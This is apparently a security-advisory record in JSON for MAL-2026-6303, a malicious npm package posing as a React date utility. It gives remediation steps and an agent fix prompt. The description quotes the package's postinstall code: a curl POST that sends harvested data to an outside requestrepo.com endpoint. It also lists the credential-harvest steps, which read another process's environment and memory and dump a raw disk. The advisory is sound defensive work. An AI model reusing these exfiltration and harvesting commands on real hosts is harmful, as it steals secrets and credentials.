{"answers":{"affected":"1 open source package ship an affected version, including react-simple-utils-kit.","exploited":"There is no known exploitation of MAL-2026-6303 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-6303 is a malicious package in react-simple-utils-kit, published on 23 Jun 2026."},"fix_prompt":"MAL-2026-6303 is a malicious package: react-simple-utils-kit (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-6303/ (Markdown: https://insights.sbomify.com/MAL-2026-6303/index.md)","id":"MAL-2026-6303","markdown":"https://insights.sbomify.com/MAL-2026-6303/index.md","name":"MAL-2026-6303","record":{"aliases":["GHSA-9p56-xfq3-77x5"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"Package advertises itself as 'a simple date formatting utility for React projects' (3-function index.js), but ships a postinstall.js that runs on every `npm install` and performs an extensive reconnaissance + credential-harvest sweep against the installer's host, POSTing each result over plain HTTP to a hardcoded attacker endpoint at http://2e3bkumw.requestrepo.com (a one-shot request-interception domain unrelated to any legitimate publisher). postinstall.js:8 hardcodes `const BURL = 'http://2e3bkumw.requestrepo.com'` and postinstall.js:16 invokes `execSync(\\`curl -s -m 8 -X POST -d @${tmpFile} ${BURL}/${key}...\\`)` to ship results. Collected data includes: process capabilities and ptrace scope, strace attach against PID 2, raw memory reads of another process via `xxd /proc/2/mem`, that process's environment block via `cat /proc/2/environ` (commonly containing CI tokens and cloud credentials), `/proc/2/cmdline`, `ps aux`, listening-port enumeration, MCP probing on localhost:9000, and raw-disk reads from `/dev/vdb`. The package's name targets React developers via a date-utility cover story (empty author field, Chinese comment `绕过能力探测` = 'capability-detection bypass'); none of this behavior is consistent with the advertised purpose. Installer harm is concrete and immediate: any host running `npm install react-simple-utils-kit` leaks process-tree secrets, environment variables of other running processes, kernel/container introspection data, and raw block-device contents to attacker infrastructure.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in react-simple-utils-kit (npm)","id":"MAL-2026-6303","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"react-simple-utils-kit","purl":"pkg:npm/react-simple-utils-kit","source":"MAL-2026-6303"}],"products":null,"published":"2026-06-23","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-6303/"}